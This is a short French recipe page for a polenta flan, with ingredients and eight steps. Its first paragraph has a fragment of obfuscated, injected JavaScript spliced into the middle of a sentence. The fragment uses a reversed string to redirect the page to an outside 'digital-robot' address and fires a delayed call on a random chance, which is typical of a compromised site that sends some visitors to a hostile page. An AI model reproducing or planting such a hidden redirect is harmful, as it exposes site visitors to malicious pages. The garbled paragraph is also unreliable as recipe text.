Flan à la polenta

2021-06-07

Dans un récipient mélangez la crème fleurette avec la polenta, le sucre, le lait, la fleur d’oranger. Incorporez les œufs un par un, tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tout en fouettant énergiquement pendant 10 minutes. Lorsque la préparation s’épaissit, versez dans des petits où dans un moule à manqué beurré.

Ingrédients

  • Pour 6 personnes
  • 500 ml de lait
  • 250 ml de crème fleurette
  • 150 g de sucre en poudre
  • 125 g de polenta
  • 4 œufs entiers
  • 2 cuillères à soupe de fleur d'oranger

Préparation de la recette

Etape 1

Dans un récipient mélangez la crème fleurette avec la polenta, le sucre, le lait, la fleur d'oranger.

Etape 2

Incorporez les œufs un par un, tout en fouettant énergiquement pendant 10 minutes.

Etape 3

Lorsque la préparation s’épaissit, versez dans des petits où dans un moule à manqué beurré.

Etape 4

Préchauffez le four à 180° C thermostat 6.

Etape 5

Enfournez et faites cuire pendant 25 minutes.

Etape 6

Laissez refroidir, puis placez au réfrigérateur pendant 2 heures.

Etape 7

Plongez le moule dans une eau bouillante.

Etape 8

Démoulez et dégustez.

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